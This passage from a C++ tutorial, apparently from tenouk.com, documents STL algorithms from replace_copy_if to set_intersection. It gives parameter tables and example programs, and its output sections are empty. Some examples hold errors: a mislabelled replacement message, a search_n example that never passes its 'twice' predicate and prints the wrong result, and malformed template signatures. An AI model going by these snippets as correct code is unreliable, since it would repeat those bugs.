//Replace elements in one part of a vector with a value of 7


//with a value of 70 and copy into another part of the vector
replace_copy(vec1.begin(), vec1.begin() + 14, vec1.end( )-15, 7, 70);

cout<<"The vector vec1 data with a replacement value of 7 is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements in a vector of a value 70


//with a value of 1 and copy into a list
replace_copy(vec1.begin(), vec1.begin() + 14, lst1.begin(), 70, 1);

cout<<"The list copy lst1 of vec1 with the value 0 replacing the 7 is:\n";
for(lstIter = lst1.begin(); lstIter != lst1.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;
}

Output:

replace_copy_if()

- Examines each element in a source range and replaces it if it satisfies a specified predicate while
copying the result into a new destination range.

template<class InputIterator, class OutputIterator, class Predicate, class Type>


OutputIterator replace_copy_if(
InputIterator _First,
InputIterator _Last,
OutputIterator _Result,
Predicate _Pred,
const Type& _Val
);

www.tenouk.com Page 12 of 32
Parameters

Parameter Description
An input iterator pointing to the position of the first element in the range
_First
from which elements are being replaced.
An input iterator pointing to the position one past the final element in the
_Last
range from which elements are being replaced.
An output iterator pointing to the position of the first element in the
_Result
destination range to which elements are being copied.
The unary predicate that must be satisfied is the value of an element is to
_Pred
be replaced.
The new value being assigned to the elements whose old value satisfies
_Val
the predicate.

Table 36.9

- The source and destination ranges referenced must not overlap and must both be valid: all pointers
must be de-referenceable and within the sequences the last position is reachable from the first by
incrementation.
- The order of the elements not replaced remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear; there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments of new values.

//algorithm, replace_copy_if()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

bool greaterthan(int value)


{return value > 5;}

int main()
{
vector <int> vec1;
list <int> lst1 (13);
vector <int>::iterator Iter1;
list <int>::iterator lstIter1;

int i;
for (i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for (j = 0; j <= 3; j++)
vec1.push_back(7);

cout<<"The original vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());

int k;
for(k = 0; k <= 13; k++)
vec1.push_back(3);

cout<<"The original random shuffle vector vec1 data with appended data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements with a value of 7 in the 1st half of a vector


//with a value of 72 and copy it into the 2nd half of the vector
replace_copy_if(vec1.begin(), vec1.begin() + 14, vec1.end() -14, greaterthan, 72);

cout<<"The vector vec1 with values of 72 replacing those greater"


<<"\n than 5 in the 1st half & copied into the 2nd half is:\n";

www.tenouk.com Page 13 of 32
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements in a vector with a value of 72


//with a value of -8 and copy into a list
replace_copy_if(vec1.begin(), vec1.begin() + 13, lst1.begin(), greaterthan, -8);

cout<<"A list copy of vector vec1 with the value -8\n replacing "
<<"those greater than 5 is:\n";
for(lstIter1 = lst1.begin(); lstIter1 != lst1.end(); lstIter1++)
cout<<*lstIter1<<" ";
cout<<endl;
}

Output:

replace_if()

- Examines each element in a range and replaces it if it satisfies a specified predicate.

template<class ForwardIterator, class Predicate, class Type>


void replace_if(
ForwardIterator _First,
ForwardIterator _Last,
Predicate _Pred,
const Type& _Val
);

Parameters

Parameter Description
A forward iterator pointing to the position of the first element in the range from
_First
which elements are being replaced.
An iterator pointing to the position one past the final element in the range from
_Last
which elements are being replaced.
The unary predicate that must be satisfied is the value of an element is to be
_Pred
replaced.
The new value being assigned to the elements whose old value satisfies the
_Val
predicate.

Table 36.10

- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The order of the elements not replaced remains stable.
- The algorithm replace_if() is a generalization of the algorithm replace(), allowing any
predicate to be specified, rather than equality to a specified constant value.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear: there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments of new values.

//algorithm, replace_if()

www.tenouk.com Page 14 of 32
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool greaterthan(int value)


{return value > 4;}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for (i = 1; i <= 10; i++)
vec1.push_back(i);

int j;
for (j = 0; j <= 2; j++)
vec1.push_back(8);

random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements satisfying the predicate greaterthan


//with a value of 21
replace_if(vec1.begin(), vec1.end(), greaterthan, 21);

cout<<"The vector vec1 with a value 21 replacing those\n "


<<"elements satisfying the greater than 4 predicate is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

reverse()

- Reverses the order of the elements within a range.

template<class BidirectionalIterator>
void reverse(
BidirectionalIterator _First,
BidirectionalIterator _Last
);

Parameters

Parameter Description
A bidirectional iterator pointing to the position of the first element in the range
_First
within which the elements are being permuted.
A bidirectional iterator pointing to the position one past the final element in the
_Last
range within which the elements are being permuted.

Table 36.11

- The source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position is reachable from the first by incrementation.

www.tenouk.com Page 15 of 32
//algorithm, reverse()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = 11; i <= 20; i++)
vec1.push_back(i);

cout<<"The original vector vec1 is:\n ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Reverse the elements in the vector


reverse(vec1.begin(), vec1.end());

cout<<"The vector vec1 data with values reversed is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

reverse_copy()

- Reverses the order of the elements within a source range while copying them into a destination range

template<class BidirectionalIterator, class OutputIterator>


OutputIterator reverse_copy(
BidirectionalIterator _First,
BidirectionalIterator _Last,
OutputIterator _Result
);

Parameters

Parameter Description
A bidirectional iterator pointing to the position of the first element in the source
_First
range within which the elements are being permuted.
A bidirectional iterator pointing to the position one past the final element in the
_Last
source range within which the elements are being permuted.
An output iterator pointing to the position of the first element in the destination
_Result
range to which elements are being copied.

Table 36.12

- The return value is an output iterator pointing to the position one past the final element in the
destination range to where the altered sequence of elements is being copied.
- The source and destination ranges referenced must be valid; all pointers must be de-referenceable and
within the sequence the last position is reachable from the first by incrementation.

//algorithm, reverse_copy()
#include <vector>
#include <algorithm>

www.tenouk.com Page 16 of 32
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2(11);
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 10; i <= 20; i++)
vec1.push_back(i);

cout<<"The original vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Reverse the elements in the vector


reverse_copy(vec1.begin(), vec1.end(), vec2.begin());

cout<<"The copy vec2 data of the reversed vector vec1 is:\n";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

cout<<"The original vector vec1 unmodified as:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

rotate()

- Exchanges the elements in two adjacent ranges.

template<class ForwardIterator>
void rotate(
ForwardIterator _First,
ForwardIterator _Middle,
ForwardIterator _Last
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
rotated.
A forward iterator defining the boundary within the range that addresses the position
_Middle of the first element in the second part of the range whose elements are to be
exchanged with those in the first part of the range.
A forward iterator addressing the position one past the final element in the range to
_Last
be rotated.

Table 36.13

- The ranges referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The complexity is linear with at most (_Last – _First) swaps.

www.tenouk.com Page 17 of 32
//algorithm, rotate()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
deque <int> deq1;
vector <int>::iterator vec1Iter1;
deque<int>::iterator deq1Iter1;

int i;
for(i = -4; i <= 4; i++)
vec1.push_back(i);

int j;
for(j = -3; j <= 3; j++)
deq1.push_back(j);

cout<<"Vector vec1 data is: ";


for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1 <<" ";
cout<<endl;

//Let rotates...
rotate(vec1.begin(), vec1.begin() + 3, vec1.end());
cout<<"After rotating, vector vec1 data is: ";
for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1<<" ";
cout<<endl;

cout<<"\nThe original deque deq1 is: ";


for(deq1Iter1 = deq1.begin(); deq1Iter1 != deq1.end(); deq1Iter1++)
cout<<*deq1Iter1<<" ";
cout<<endl;

//Let rotates…
int k = 1;
while(k <= deq1.end() - deq1.begin())
{
rotate(deq1.begin(), deq1.begin() + 1, deq1.end());
cout<<"Rotation of a single deque element to the back,\n deq1 is: ";
for(deq1Iter1 = deq1.begin(); deq1Iter1 != deq1.end(); deq1Iter1++)
cout<<*deq1Iter1<<" ";
cout<<endl;
k++;
}
}

Output:

www.tenouk.com Page 18 of 32
rotate_copy()

- Exchanges the elements in two adjacent ranges within a source range and copies the result to a
destination range.

template<class ForwardIterator, class OutputIterator>


OutputIterator rotate_copy(
ForwardIterator _First,
ForwardIterator _Middle,
ForwardIterator _Last,
OutputIterator _Result
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
rotated.
A forward iterator defining the boundary within the range that addresses the position
_Middle of the first element in the second part of the range whose elements are to be
exchanged with those in the first part of the range.
A forward iterator addressing the position one past the final element in the range to be
_Last
rotated.
_Result An output iterator addressing the position of the first element in the destination range.

Table 36.14

- The return value is an output iterator addressing the position one past the final element in the
destination range.
- The ranges referenced must be valid; all pointers must be dereferenceable and within the sequence the
last position is reachable from the first by incrementation.
- The complexity is linear with at most (_Last – _First) swaps.

//algorithm, rotate_copy()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2(9);
deque <int> deq1, deq2(6);
vector <int>::iterator vec1Iter, vec2Iter;
deque<int>::iterator deq1Iter, deq2Iter;

int i;
for(i = -3; i <= 5; i++)
vec1.push_back(i);

int j;
for(j =0; j <= 5; j++)
deq1.push_back(j);

cout<<"Vector vec1 data is: ";


for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<*vec1Iter<<" ";
cout<<endl;

rotate_copy(vec1.begin(), vec1.begin() + 3, vec1.end(), vec2.begin());


cout<<"\nAfter rotating, the vector vec1 data remains unchanged as:\n";
for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<*vec1Iter<<" ";
cout<<endl;

cout<<"\nAfter rotating, the copy of vector vec1 in vec2 is,\n vec2:";


for(vec2Iter = vec2.begin(); vec2Iter != vec2.end(); vec2Iter++)
cout<<*vec2Iter<<" ";
cout<<endl;

www.tenouk.com Page 19 of 32
cout<<"\nThe original deque deq1 is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

int k = 1;
while(k <= deq1.end() - deq1.begin())
{
rotate_copy(deq1.begin(), deq1.begin() + 1, deq1.end(), deq2.begin());
cout<<"Rotation of a single deque element to the back,\n a deque copy, deq2 is: ";
for(deq2Iter = deq2.begin(); deq2Iter != deq2.end(); deq2Iter++)
cout<<*deq2Iter<<" ";
cout<<endl;
k++;
}
}

Output:

search()

- Searches for the first occurrence of a sequence within a target range whose elements are equal to those
in a given sequence of elements or whose elements are equivalent in a sense specified by a binary
predicate to the elements in the given sequence.

template<class ForwardIterator1, class ForwardIterator2>


ForwardIterator1 search(
ForwardIterator1 _First1,
ForwardIterator1 _Last1,
ForwardIterator2 _First2,
ForwardIterator2 _Last2
);
template<class ForwardIterator1, class ForwardIterator2, class Pr>
ForwardIterator1 search(
ForwardIterator1 _First1,
ForwardIterator1 _Last1,
ForwardIterator2 _First2,
ForwardIterator2 _Last2
BinaryPredicate _Comp
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to
_First1
be searched.
A forward iterator addressing the position one past the final element in the
_Last1
range to be searched.

www.tenouk.com Page 20 of 32
A forward iterator addressing the position of the first element in the range to
_First2
be matched.
A forward iterator addressing the position one past the final element in the
_Last2
range to be matched.
User-defined predicate function object that defines the condition to be satisfied
_Comp if two elements are to be taken as equivalent. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.

Table 36.15

- The return value is a forward iterator addressing the position of the first element of the first
subsequence that matches the specified sequence or that is equivalent in a sense specified by a binary
predicate.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- The ranges referenced must be valid; all pointers must be de-referenceable and within each sequence
the last position is reachable from the first by incrementation.
- Average complexity is linear with respect to the size of the searched range, and worst case complexity
is also linear with respect to the size of the sequence being searched for.

//algorithm, search()
//compiled with some type conversion
//warning…
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return (2 * elem1 == elem2);}

int main()
{
vector <int> vec1, vec2;
list <int> lst1;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst1_Iter, lst1_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

for(i = 0; i <= 5; i++)


vec1.push_back(5*i);

int j;
for(j = 4; j <= 5; j++)
lst1.push_back(5*j);

int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst1 data: ";


for(lst1_Iter = lst1.begin(); lst1_Iter!= lst1.end(); lst1_Iter++)
cout<<*lst1_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl<<endl;

//Searching vec1 for first match to lst1 under identity


vector <int>::iterator result1;
result1 = search (vec1.begin(), vec1.end(), lst1.begin(), lst1.end());

www.tenouk.com Page 21 of 32
if(result1 == vec1.end())
cout<<"There is no match of lst1 in vec1."<<endl;
else
cout<<"There is at least one match of lst1 in vec1"
<<"\nand the first one begins at "
<<"position "<< result1 - vec1.begin( )<<endl;

//Searching vec1 for a match to lst1 under the binary predicate twice
vector <int>::iterator result2;
result2 = search(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);

if(result2 == vec1.end())
cout<<"\nThere is no match of lst1 in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are equivalent\nto those in vec2 under the binary "
<<"predicate twice\nand the first one begins at position "
<<result2 - vec1.begin()<<endl;
}

Output:

search_n()

- Searches for the first subsequence in a range that of a specified number of elements having a particular
value or a relation to that value as specified by a binary predicate.

template<class ForwardIterator1, class Diff2, class Type>


ForwardIterator1 search_n(
ForwardIterator1 _First1,
ForwardIterator1 _Last1,
Size2 _Count,
const Type& _Val
);
template<class ForwardIterator1, class Size2, class Type, class BinaryPredicate>
ForwardIterator1 search_n(
ForwardIterator1 _First1,
ForwardIterator1 _Last1,
Size2 _Count,
const Type& _Val,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First1
searched.
A forward iterator addressing the position one past the final element in the range to
_Last1
be searched.
_Count The size of the subsequence being searched for.
_Val The value of the elements in the sequence being searched for.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.

Table 36.16

www.tenouk.com Page 22 of 32
- The return value is a forward iterator addressing the position of the first element of the first
subsequence that matches the specified sequence or that is equivalent in a sense specified by a binary
predicate.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Complexity is linear with respect to the size of the searched.

//algorithm, search_n()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return 2 * elem1 == elem2;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

for(i = 0; i <= 2; i++)


vec1.push_back(5);

for(i = 0; i <= 5; i++)


vec1.push_back(5*i);

for(i = 0; i <= 2; i++)


vec1.push_back(5);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Searching vec1 for first match to (5 5 5) under identity


vector <int>::iterator result1;
result1 = search_n(vec1.begin(), vec1.end(), 3, 5);

if(result1 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1."<<endl;
else
cout<<"\nThere is at least one match of a sequence (5 5 5)"
<<"\nin vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for first match to (5 5 5) under twice


vector <int>::iterator result2;
result2 = search_n(vec1.begin(), vec1.end(), 3, 5);

if(result2 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1"
<<" under the equivalence predicate twice."<<endl;
else
cout<<"\nThere is a match of a sequence (5 5 5) "
<<"under the equivalence\npredicate twice"
<<" in vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
}

Output:

www.tenouk.com Page 23 of 32
set_difference()

- Unites all of the elements that belong to one sorted source range, but not to a second sorted source
range, into a single, sorted destination range, where the ordering criterion may be specified by a binary
predicate.

template<class InputIterator1, class InputIterator2, class OutputIterator>


OutputIterator set_difference(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result
);
template<class InputIterator1, class InputIterator2, class OutputIterator, class
BinaryPredicate>
OutputIterator set_difference(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result,
BinaryPredicate _Comp
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first
_First1 of two sorted source ranges to be united and sorted into a single range
representing the difference of the two source ranges.
An input iterator addressing the position one past the last element in the
_Last1 first of two sorted source ranges to be united and sorted into a single
range representing the difference of the two source ranges.
An input iterator addressing the position of the first element in second
_First2 of two consecutive sorted source ranges to be united and sorted into a
single range representing the difference of the two source ranges.
An input iterator addressing the position one past the last element in
_Last2 second of two consecutive sorted source ranges to be united and sorted
into a single range representing the difference of the two source ranges.
An output iterator addressing the position of the first element in the
_Result destination range where the two source ranges are to be united into a
single sorted range representing the difference of the two source
ranges.
User-defined predicate function object that defines the sense in which
one element is greater than another. The binary predicate takes two
_Comp
arguments and should return true when the first element is less than the
second element and false otherwise.

Table 36.17

- The return value is an output iterator addressing the position one past the last element in the sorted
destination range representing the difference of the two source ranges.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and within
each sequence the last position must be reachable from the first by incrementation.

www.tenouk.com Page 24 of 32
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the
set_difference() algorithm in accordance with the same ordering as is to be used by the
algorithm to sort the combined ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm merge.
- The value types of the input iterators need be less-than-comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other. This results in an ordering between the nonequivalent elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range.
- If the source ranges contain duplicates of an element such that there are more in the first source range
than in the second, then the destination range will contain the number by which the occurrences of
those elements in the first source range exceed the occurrences of those elements in the second source
range.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons for nonempty source ranges.

//algorithm, set_difference()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if (elem1 < 0)
elem1 = - elem1;
if (elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less-than ordering


int i;
for(i = -2; i <= 3; i++)
vec1a.push_back(i);

int j;
for(j =-2; j <= 1; j++)
vec1b.push_back(j);

cout<<"Original vector vec1a with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)
cout<<*Iter1a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec1b with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)
cout<<*Iter1b<<" ";
cout<<endl;

//Constructing vectors vec2a & vec2b with ranges sorted by greater


vector <int> vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2, Result2;
sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"\nOriginal vector vec2a with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

www.tenouk.com Page 25 of 32
cout<<"\nOriginal vector vec2b with range sorted by the\n"
<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vectors vec3a & vec3b with ranges sorted by mod_lesser


vector <int> vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector <int>::iterator Iter3a, Iter3b, Iter3, Result3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);
sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"\nOriginal vector vec3a with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec3b with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To combine into a difference in ascending


//order with the default binary predicate less <int>()
Result1 = set_difference(vec1a.begin(), vec1a.end(),
vec1b.begin(), vec1b.end(), vec1.begin());
cout<<"\nset_difference() of source ranges with default order,"
<<"\nvector vec1mod = ";
for(Iter1 = vec1.begin(); Iter1 != Result1; Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To combine into a difference in descending


//order specify binary predicate greater<int>()
Result2 = set_difference(vec2a.begin(), vec2a.end(),
vec2b.begin(), vec2b.end(), vec2.begin(), greater <int>());
cout<<"\nset_difference() of source ranges with binary"
<<" predicate\ngreater specified, vector vec2mod: ";
for(Iter2 = vec2.begin(); Iter2 != Result2; Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To combine into a difference applying a user


//defined binary predicate mod_lesser()
Result3 = set_difference(vec3a.begin(), vec3a.end(),
vec3b.begin(), vec3b.end(), vec3.begin(), mod_lesser);
cout<<"\nset_difference() of source ranges with binary "
<<"predicate\nmod_lesser() specified, vector vec3mod: ";
for(Iter3 = vec3.begin(); Iter3 != Result3; Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

Output

www.tenouk.com Page 26 of 32
set_intersection()

- Unites all of the elements that belong to both sorted source ranges into a single, sorted destination
range, where the ordering criterion may be specified by a binary predicate.

template<class InputIterator1, class InputIterator2, class OutputIterator>


OutputIterator set_intersection(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result
);
template<class InputIterator1, class InputIterator2, class OutputIterator, class
BinaryPredicate>
OutputIterator set_intersection(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result,
BinaryPredicate _Comp
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first of two
_First1 sorted source ranges to be united and sorted into a single range representing the
intersection of the two source ranges.
An input iterator addressing the position one past the last element in the first of
_Last1 two sorted source ranges to be united and sorted into a single range representing
the intersection of the two source ranges.
An input iterator addressing the position of the first element in second of two
_First2 consecutive sorted source ranges to be united and sorted into a single range
representing the intersection of the two source ranges.
An input iterator addressing the position one past the last element in second of
_Last2 two consecutive sorted source ranges to be united and sorted into a single range
representing the intersection of the two source ranges.
_Result An output iterator addressing the position of the first element in the destination
range where the two source ranges are to be united into a single sorted range

www.tenouk.com Page 27 of 32
representing the intersection of the two source ranges.
User-defined predicate function object that defines the sense in which one
element is greater than another. The binary predicate takes two arguments and
_Comp
should return true when the first element is less than the second element and false
otherwise.

Table 36.18

- The return value is an output iterator addressing the position one past the last element in the sorted
destination range representing the intersection of the two source ranges.
- The sorted source ranges referenced must be valid; all pointers must be dereferenceable and within
each sequence the last position must be reachable from the first by incrementation.
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the merge
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm.
- The value types of the input iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other.
- This results in an ordering between the nonequivalent elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range.
- If the source ranges contain duplicates of an element, then the destination range will contain the
maximum number of those elements that occur in both source ranges.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons for nonempty source ranges.

//algorithm, set_intersection()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -2; i <= 2; i++)
vec1a.push_back(i);

int j;
for(j = -4; j <= 0; j++)
vec1b.push_back(j);

cout<<"Original vector vec1a with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)
cout<<*Iter1a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec1b with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)
cout<<*Iter1b<<" ";

www.tenouk.com Page 28 of 32
cout<<endl;

//Constructing vectors vec2a & vec2b with ranges sorted by greater


vector <int> vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2, Result2;
sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"\nOriginal vector vec2a with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec2b with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vectors vec3a & vec3b with ranges sorted by mod_lesser


vector<int>vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector<int>::iterator Iter3a, Iter3b, Iter3, Result3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);
sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"\nOriginal vector vec3a with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec3b with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To combine into an intersection in ascending order with the default


//binary predicate less <int>()
Result1 = set_intersection(vec1a.begin(), vec1a.end(),
vec1b.begin(), vec1b.end(), vec1.begin());
cout<<"\nset_intersection() of source ranges with default order,\nvector vec1mod: ";
for(Iter1 = vec1.begin(); Iter1 != Result1; Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To combine into an intersection in descending order, specify binary


//predicate greater<int>()
Result2 = set_intersection(vec2a.begin(), vec2a.end(),
vec2b.begin(), vec2b.end(), vec2.begin(), greater<int>());
cout<<"\nset_intersection() of source ranges with binary predicate\ngreater "
<<"specified, vector vec2mod: ";
for(Iter2 = vec2.begin(); Iter2 != Result2; Iter2++)
